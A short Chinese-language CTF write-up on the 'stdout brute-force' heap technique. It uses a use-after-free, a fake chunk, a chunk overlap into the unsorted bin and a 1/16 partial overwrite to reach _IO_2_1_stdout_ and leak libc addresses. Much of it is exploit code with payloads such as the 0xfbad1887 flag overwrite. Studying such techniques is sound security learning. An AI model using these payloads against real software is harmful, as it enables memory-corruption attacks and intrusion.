stdout爆破
最近做的比赛有一道没有给出show函数,所以学习了一下stdout爆破来泄露函数地址。
1.通过uaf漏洞修改fd ,指向我们提前布置好的fake_chunk。
2.利用fake_chunk修改下一chunk的size,从而可以free其下一个chunk而进入unsortbin,从而获得main_area.
3.再次利用uaf漏洞,修改unsort_chunk的低2字节,由于最后3位是确定的,所以需要爆破一位。至于错位构造size域,我们需要自行查找。
4.最后连续add两次即可将chunk分配至目标位置,覆盖stdout及其后几位即可实现泄露。
new(0x10,0,p64(0) + p64(0x41))
new(0x60,1,p64(0)*5 + p64(0x41))
new(0x30,2,'a')
new(0x30,3,'b')
new(0x30,4,'c')
add出所需要的chunk , 分配0x10 是为了方便放置fake_chunk 从而修改下一chunk的size,分配0x60是因为目标地址数据以0x7f开头,方便构造size域 。
edit(3,p8(0x10))
new(0x30,3,p8(0x10))
new(0x30,2,p64(0)+p64(0x70+0x41)) #make chunk overloap



利用uaf漏洞修改fd指向fake_chunk,将chunk分配至fake_chunk处,并且利用fake_chunk修改下一chunk的size域。
free(1) #make unsortbin && double free
edit(2,p64(0)+p64(0x71)) #repire chunk
edit(1,p16(0x2620-0x43))

free该chunk,使其进入unsortbin ,其fd指向main_area 。利用fake_chunk修复该chunk。并且利用uaf漏洞修改unsort_chunk的fd指向目标位置。这里需要爆破一位数也就是1/16的概率。查看stdout可以使用 打印 “p /x _IO_2_1_stdout_”
new(0x60,1,p16(0x2620-0x43))
new(0x60,5,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))

p /x _IO_2_1_stdout_

连续malloc两次,从而实现地址泄露




